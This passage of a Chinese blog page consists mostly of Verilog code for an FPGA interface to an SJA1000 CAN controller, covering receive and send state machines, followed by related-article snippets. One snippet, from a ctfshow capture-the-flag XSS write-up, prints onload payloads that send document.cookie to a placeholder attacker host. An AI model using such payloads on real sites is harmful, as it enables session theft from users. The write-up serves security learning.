													'd4 : begin CAN_ID3_rx  <= recv_data_path;   end
													'd5 : begin CAN_ID4_rx  <= recv_data_path;   end
													'd6 : begin CAN_DATA1_rx <= recv_data_path;  end
													'd7 : begin CAN_DATA2_rx <= recv_data_path; DATA_RECEIVE_DO <= 1'b1; read_cnt<=4'd13;end
													default:read_state<=3'b001;
												endcase
												end
												
												'd3 : begin
												case (read_cnt)
													'd1 : begin CAN_ID0_rx  <= recv_data_path;   end
													'd2 : begin CAN_ID1_rx  <= recv_data_path;   end
													'd3 : begin CAN_ID2_rx  <= recv_data_path;   end
													'd4 : begin CAN_ID3_rx  <= recv_data_path;   end
													'd5 : begin CAN_ID4_rx  <= recv_data_path;   end
													'd6 : begin CAN_DATA1_rx <= recv_data_path;  end
													'd7 : begin CAN_DATA2_rx <= recv_data_path;  end
													'd8 : begin CAN_DATA3_rx <= recv_data_path; DATA_RECEIVE_DO <= 1'b1;read_cnt<=4'd13;end
													default:read_state<=3'b001;
												endcase
												end
												
												'd4 : begin
												case (read_cnt)
													'd1 : begin CAN_ID0_rx  <= recv_data_path;  end
													'd2 : begin CAN_ID1_rx  <= recv_data_path;  end
													'd3 : begin CAN_ID2_rx  <= recv_data_path;  end
													'd4 : begin CAN_ID3_rx  <= recv_data_path;  end
													'd5 : begin CAN_ID4_rx  <= recv_data_path;  end
													'd6 : begin CAN_DATA1_rx <= recv_data_path; end
													'd7 : begin CAN_DATA2_rx <= recv_data_path; end
													'd8 : begin CAN_DATA3_rx <= recv_data_path; end
													'd9 : begin CAN_DATA4_rx <= recv_data_path; DATA_RECEIVE_DO <= 1'b1;read_cnt<=4'd13; end
													default:read_state<=3'b001;
												endcase
												end
												
												'd5 : begin
												case (read_cnt)
													'd1 : begin CAN_ID0_rx  <= recv_data_path;  end
													'd2 : begin CAN_ID1_rx  <= recv_data_path;  end
													'd3 : begin CAN_ID2_rx  <= recv_data_path;  end
													'd4 : begin CAN_ID3_rx  <= recv_data_path;  end
													'd5 : begin CAN_ID4_rx  <= recv_data_path;  end
													'd6 : begin CAN_DATA1_rx <= recv_data_path; end
													'd7 : begin CAN_DATA2_rx <= recv_data_path; end
													'd8 : begin CAN_DATA3_rx <= recv_data_path; end
													'd9 : begin CAN_DATA4_rx <= recv_data_path; end
													'd10: begin CAN_DATA5_rx <= recv_data_path; DATA_RECEIVE_DO <= 1'b1; read_cnt<=4'd13;end
													default:read_state<=3'b001;
												endcase
												end
												
												'd6 : begin
												case (read_cnt)
													'd1 : begin CAN_ID0_rx  <= recv_data_path;  end
													'd2 : begin CAN_ID1_rx  <= recv_data_path;  end
													'd3 : begin CAN_ID2_rx  <= recv_data_path;  end
													'd4 : begin CAN_ID3_rx  <= recv_data_path;  end
													'd5 : begin CAN_ID4_rx  <= recv_data_path;  end
													'd6 : begin CAN_DATA1_rx <= recv_data_path; end
													'd7 : begin CAN_DATA2_rx <= recv_data_path; end
													'd8 : begin CAN_DATA3_rx <= recv_data_path; end
													'd9 : begin CAN_DATA4_rx <= recv_data_path; end
													'd10: begin CAN_DATA5_rx <= recv_data_path; end
													'd11: begin CAN_DATA6_rx <= recv_data_path; DATA_RECEIVE_DO <= 1'b1; read_cnt<=4'd13;end
													default:read_state<=3'b001;
												endcase
												end
												
												'd7 : begin
												case (read_cnt)
													'd1 : begin CAN_ID0_rx  <= recv_data_path;  end
													'd2 : begin CAN_ID1_rx  <= recv_data_path;  end
													'd3 : begin CAN_ID2_rx  <= recv_data_path;  end
													'd4 : begin CAN_ID3_rx  <= recv_data_path;  end
													'd5 : begin CAN_ID4_rx  <= recv_data_path;  end
													'd6 : begin CAN_DATA1_rx <= recv_data_path; end
													'd7 : begin CAN_DATA2_rx <= recv_data_path; end
													'd8 : begin CAN_DATA3_rx <= recv_data_path; end
													'd9 : begin CAN_DATA4_rx <= recv_data_path; end
													'd10: begin CAN_DATA5_rx <= recv_data_path; end
													'd11: begin CAN_DATA6_rx <= recv_data_path; end
													'd12: begin CAN_DATA7_rx <= recv_data_path; DATA_RECEIVE_DO <= 1'b1; read_cnt<=4'd13;end
													default:read_state<=3'b001;
												endcase
												end
												
												'd8 : begin
												case (read_cnt)
													'd1 : begin CAN_ID0_rx  <= recv_data_path;  end
													'd2 : begin CAN_ID1_rx  <= recv_data_path;  end
													'd3 : begin CAN_ID2_rx  <= recv_data_path;  end
													'd4 : begin CAN_ID3_rx  <= recv_data_path;  end
													'd5 : begin CAN_ID4_rx  <= recv_data_path;  end
													'd6 : begin CAN_DATA1_rx <= recv_data_path; end
													'd7 : begin CAN_DATA2_rx <= recv_data_path; end
													'd8 : begin CAN_DATA3_rx <= recv_data_path; end
													'd9 : begin CAN_DATA4_rx <= recv_data_path; end
													'd10: begin CAN_DATA5_rx <= recv_data_path; end
													'd11: begin CAN_DATA6_rx <= recv_data_path; end
													'd12: begin CAN_DATA7_rx <= recv_data_path; end
													'd13: begin CAN_DATA8_rx <= recv_data_path; DATA_RECEIVE_DO <= 1'b1; read_cnt<=4'd13;end
													default:read_state<=3'b001;
												endcase
												end
											
											default : read_state <= 3'b001;
										    endcase
											
										  //read_cnt 	 <= 4'd13; 
										  read_state <= 3'b001;
									  end
									  else if (read_cnt == 4'd14) begin
											CAN_RXERR_rx <= recv_data_path; 
											read_state <= 3'b001; 
									  end
									   else  begin //??SFF??read_cnt = 13, ???rx_tx_addr[12] = 8'h0F;
												   //????????TXERR????????...
										           read_state<=3'b101;
									               read_cnt<=4'd0 ;
												   read_addr_path<=8'h01; //write cmd to clear RB(receive buffer)
												   read_data_path<=8'h04; //clear receive buffer
												   read_write0<=1'b1;
												   read_act_path<=1'b1;
												   CAN_TXERR_rx<=recv_data_path;//TXERR
												   CAN_DATA_RECV_DONE<=1'b1;//?? DATA_RECEIVE_DO = 1
												 end 
	                         3'b101:  if(send_done_path)
                  					     begin 
												    read_state<=3'b001;
											       CAN_DATA_RECV_DONE<=1'b0;
												   DATA_RECEIVE_DO<=1'b0;
												    read_finish<=1'b1;
												    read_act_path<=1'b0;
												    read_write0 <=1'b0;
											     end 
										else  begin read_state<=3'b101;
											       CAN_DATA_RECV_DONE<=1'b0;
												   DATA_RECEIVE_DO<=1'b0;
												   read_finish<=1'b0;
												   read_write0<=1'b1;
												   read_act_path<=1'b1;
											  end 
							  default :     read_state<=3'b001;								
							endcase
						end
//******************************************************************************************************************************************
//******************************************************************************************************************************************
//*************************************************************************************************************
//send
//*************************************************************************************************************							 

		always @(posedge clk_in) begin
                      if((reset)||(!init_restf))
					     begin 
					       send_act_path<=1'b0;
						   send_state   <=3'b001;
						   send_write0  <=1'b0  ;
						   CAN_DATA_SEND_DONE<=1'b0;
						   send_finish   <=1'b0  ;
						   send_cnt      <=4'd0  ;
						   
						   send_addr_path <= 8'h00;
						   send_data_path <= 8'h00;
						 end 
					  else case(send_state)
					         3'b001: if(state_n==DATA_SEND)
							               begin 
											 send_state<=3'b010;
											 send_act_path<=1'b1;
											 send_write0<=1'b1  ;
											 send_addr_path<=rx_tx_addr[send_cnt];
											 send_data_path<=tx_data[send_cnt];
											 CAN_DATA_SEND_DONE<=1'b0;
											 send_finish <=1'b0  ;
											end 
									  else begin 
											 send_state<=3'b001;
											 send_act_path<=1'b0;
											 send_write0<=1'b1  ;
											 send_addr_path<=rx_tx_addr[send_cnt];
											 send_data_path<=tx_data[send_cnt];
											 send_cnt   <=4'd0;
											 CAN_DATA_SEND_DONE<=1'b0;
											 send_finish   <=1'b0  ;
											end 
							 3'b010: if(send_done_path)
							                begin
											 send_act_path<=1'b0;
											 send_state<=3'b100;
											 send_write0<=1'b0;
											 send_cnt <=send_cnt+1'b1;
											end 
									 else 
									        begin
											 send_act_path<=1'b1;
											 send_write0<=1'b1;
											 send_state<=3'b010;
											end 
							 3'b100:  //if(send_cnt<11)//SFF
									  //if (send_cnt < 13)//EFF //??
									  if (send_cnt < (tx_DLC + 5))
							              send_state<=3'b001;
									  else
									     begin 
										   send_cnt<=4'd0;//tx_data
										   CAN_DATA_SEND_DONE<=1'b0;
										   send_state<=3'b101; 
										   send_act_path<=1'b1;
										   send_write0<=1'b1;
										   send_addr_path<=8'h01;
										   send_data_path<=8'h01;  //send cmd//????????SJA1000??????
										 end 
	//send_addr_path<=8'h01; send_data_path<=8'h01; ???????????TX buffer????????CMR???????
							3'b101:   if(send_done_path) 
                  							begin send_state<=3'b001;
											      CAN_DATA_SEND_DONE<=1'b1;
												  send_finish <=1'b1;
												  send_act_path<=1'b0;
										          send_write0<=1'b1;
											 end  
                                      else 	begin send_state<=3'b101;
											      CAN_DATA_SEND_DONE<=1'b0;
												  send_finish <=1'b0;
												  send_act_path<=1'b1;
										          send_write0<=1'b1;
											 end  										 
							  default :     send_state<=3'b001;								
							endcase
						end

//******************************************************************************************
//MUX the data_path
//*******************************************************************************************
//*******************************************************************************************
always @(*) begin
      if((reset)||(!init_restf))
	      begin 
		   act            <=1'b0;
		   write0         <=1'b0;
		   need_addr_path <=8'd0;
		   s_data_path    <=8'd0;
		  end 
	   else case(state_n)
	         INIT_RESET :  begin 
                            act            <=1'b0;
                            write0         <=1'b0;
                            need_addr_path <=8'd0;
                            s_data_path    <=8'd0;
			               end 
             INIT       :  begin 
                              act           <=init_act_path;
                              write0        <=init_write0  ;
                              need_addr_path<=init_addr_path;
                              s_data_path   <=init_data_path;
							end 		 
             IDLE       :  begin 
			                  act           <= idle_act_path;
			                  write0        <= idle_write0  ;
			                  need_addr_path<= idle_addr_path;
			                  s_data_path   <= 8'd0;
			               end 		 
             DATA_READ  : begin 
			                  act           <= read_act_path;
			                  write0        <= read_write0  ;
			                  need_addr_path<= read_addr_path;
			                  s_data_path   <= read_data_path;
			               end 
             DATA_SEND  :begin 
			                 act            <=  send_act_path ;
			                 write0         <=  send_write0   ;
			                 need_addr_path <=  send_addr_path;
			                 s_data_path    <=  send_data_path;
			              end 
			default     :begin     
			               act            <=1'b0;
			               write0         <=1'b0;
			               need_addr_path <=8'd0;
			               s_data_path    <=8'd0;
			              end 
			endcase
	end
		 
//module rs_port list
rs_port u1(
	.clk       (clk_in        ),    
	.reset     (((reset)|(!init_restf))),      
    .act       (act           ),         
	.write0    (write0        ),         
	.need_addr (need_addr_path),
	.recv_data (recv_data_path),
	.recv_done (recv_done_path),
	.send_data (s_data_path   ),
	.send_done (send_done_path),
	.ALE       (CAN_ALE       ), 
	.WR        (CAN_WR        ), 
	.RD        (CAN_RD        ), 
	.CS        (CAN_CS        ),               
	.DATA_CAN  (DATA_CAN      ),
    .en       (en            )	
);


endmodule 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/911501.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Python的函数

一、定义 函数的定义&#xff1a;实现【特定功能】的代码块。 形参&#xff1a;函数定义时的参数&#xff0c;没有实际意义 实参&#xff1a;函数调用/使用时的参数&#xff0c;有实际意义 函数的作用&#xff1a; 简化代码提高代码重用性便于维护和修改提高代码的可扩展性…

ctfshow(319->326)--XSS漏洞--反射型XSS

Web319 思路 先测试过滤&#xff0c;发现过滤了script、img&#xff0c;没有过滤body&#xff0c;svg payload: <body onload"location.hrefhttp://xx.xx.xx.xx/flag.php?cookiedocument.cookie"/><svg onload"location.hrefhttp://xx.xx.xx.xx/fla…

MySQL server 免安装教程

1&#xff0c;下载免安装包-社区版本 https://dev.mysql.com/downloads/file/?id534320 2&#xff0c;解压 放到一电脑某个路径下&#xff0c;整个包 3&#xff0c;创建data 文件夹和my.ini文件 my.ini代码照抄&#xff0c;注意修改路径&#xff0c;与解压后的安装包地址一…

使用ookii-dialogs-wpf在WPF选择文件夹时能输入路径

在进行WPF开发时&#xff0c;System.Windows.Forms.FolderBrowserDialog的选择文件夹功能不支持输入路径&#xff1a; 希望能够获得下图所示的选择文件夹功能&#xff1a; 于是&#xff0c;通过NuGet中安装Ookii.Dialogs.Wpf包&#xff0c;并创建一个简单的工具类&#xff1a; …

Java项目实战II基于Spring Boot的便利店信息管理系统(开发文档+数据库+源码)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 在快节奏的…

SpringBoot整合Liquibase对数据库管理和迁移

简介 Liquibase是一个用于用于跟踪、管理和应用数据库变化的开源工具&#xff0c;通过日志文件(changelog)的形式记录数据库的变更(changeset)&#xff0c;然后执行日志文件中的修改&#xff0c;将数据库更新或回滚(rollback)到一致的状态。它的目标是提供一种数据库类型无关的…

练习LabVIEW第四十三题

学习目标&#xff1a; 模拟红绿灯&#xff0c;红灯亮十秒&#xff0c;绿灯亮五秒&#xff0c;交替&#xff0c;并用波形图将波形显示 开始编写&#xff1a; 前面板 两个指示灯&#xff0c;一个红色&#xff0c;一个绿色&#xff0c;一个波形图&#xff1b; 程序框图 创建…

针对解决前后端BUG的个人笔记

1-IDEA Q&#xff1a;Required Java version 17 is not supported by SDK 1.8. The maximum supported Java version is 8. A: 我们只知道IDEA页面创建Spring项目&#xff0c;其实是访问spring initializr去创建项目。故我们可以通过阿里云国服去间接创建Spring项目。将https…

ElasticSearch 添加IK分词器

ElasticSearch 添加IK分词器 前言一、IK分词器的算法二、Ik分词器的下载安装&#xff08;Winows 版本&#xff09;三、Ik分词器的下载安装&#xff08;Linux 版本&#xff09;四、验证测试&#xff08;postman工具&#xff09;测试 ik_smart 分词算法测试 ik_max_word 分词算法…

Android关机流程知多少?

在 Android 中&#xff0c;关机流程涉及系统各个组件的协同工作&#xff0c;确保设备在断电之前能够安全地关闭所有活动并保存数据。以下是 Android 系统中关机流程的详细介绍&#xff1a; 1. 用户触发关机请求 关机流程由用户的操作触发&#xff0c;通常有以下几种方式&#…

Golang | Leetcode Golang题解之第542题01矩阵

题目&#xff1a; 题解&#xff1a; type point struct{x, y int }var dirs []point{{-1, 0}, {1, 0}, {0, -1}, {0, 1}}func updateMatrix(mat [][]int) [][]int {var m, n len(mat), len(mat[0])var res make([][]int, m)var visited make([][]bool, m)var queue []poin…

基于ssm的小区物业管理系统

项目描述 临近学期结束&#xff0c;还是毕业设计&#xff0c;你还在做java程序网络编程&#xff0c;期末作业&#xff0c;老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。这里根据疫情当下&#xff0c;你想解决的问…

_处理匿名命名空间里的变量时进入硬件中断错误

最近在初次使用匿名空间时出现一个很离谱的错误&#xff0c;我先简单描述一下情形&#xff1a;在匿名命名空间里有一个变量&#xff08;全局&#xff09;&#xff0c;在命名空间外&#xff0c;有一个内联函数操作该空间内的变量。 如果开优化&#xff0c;那么程序就会进入硬件错…

esp32学习:利用虫洞ESP32开发板,快速实现无线图传

我们的虫洞开发板&#xff0c;能够完美运行esp who AI代码&#xff0c;所以实现无线图传那是非常容易的&#xff0c;我们先看看examples目录&#xff1a; 里面有比较多的web例程&#xff0c;在这些例程下&#xff0c;稍作修改&#xff0c;就可以快速实现我的图传无线功能&#…

芯片需要按一下keyup或者复位按键虚拟或者下载之后芯片能下载却运行不了或者需要额外供电。

这些问题很有可能是因为外围电路器件幅值与设计不同的存在&#xff0c;导致你需要外部供电才能实现一个正常运行&#xff0c;可以检查一下外围电路在供电区域的电流区&#xff0c;电阻幅值是否和原理图设计时看的一模一样或者直接更换 因为按键会失灵&#xff0c;首先检查复位按…

万字长文读懂RAG

目录 RAG的整体架构设计 一、概览 1-Overview 2-Indexing 3-Retrival 4-Generation 二、优化元素提问 5-Multi Query多查询策略 6-RAG-Fusion多查询结果融合策略 7-Decomposition问题分解策略 Answer recursively Answer individually 8-Step Back问答回退策略 9…

[全网最细数据结构完整版]第六篇:3分钟带你吃透栈并模拟实现

目录 1->栈的概念和结构 1.1栈的概念 1.2栈的结构 2->栈的实现 2.1定义关于栈的结构体和各种函数 2.2栈的初始化 STInit 函数 2.3栈的销毁 STDestroy 函数 2.4栈的插入操作 STPush 函数 2.5栈的判断是否为空操作 STEmpty 函数 2.6栈的删除操作 STPop 函数 2.7…

Uniapp底部导航栏设置(附带PS填充图标教程)

首先需要注册和登录ifconfont官网&#xff0c;然后创建项目添加需要的图标 创建和添加图标库请参考&#xff1a;Uniapp在Vue环境中引入iconfont图标库&#xff08;详细教程&#xff09; 打开iconfont官网&#xff0c;找到之前添加的图标库&#xff0c;下载png图片 如果需要的…

k8s图形化显示(KRM)

在master节点 kubectl get po -n kube-system 这个命令会列出 kube-system 命名空间中的所有 Pod 的状态和相关信息&#xff0c;比如名称、状态、重启次数等。 systemctl status kubelet #查看kubelet状态 yum install git #下载git命令 git clone https://gitee.com/duk…

FTP替代方案:FileLink内外网文件摆渡,助力企业安全高效文件传输

FTP&#xff08;文件传输协议&#xff09;一直是企业进行文件传输的标准解决方案。但随着网络安全威胁的不断增加和企业对于文件传输效率和安全性的更高要求&#xff0c;FTP逐渐显得力不从心。那么&#xff0c;如何安全、便捷地传输大文件和敏感数据呢&#xff1f;FileLink作为…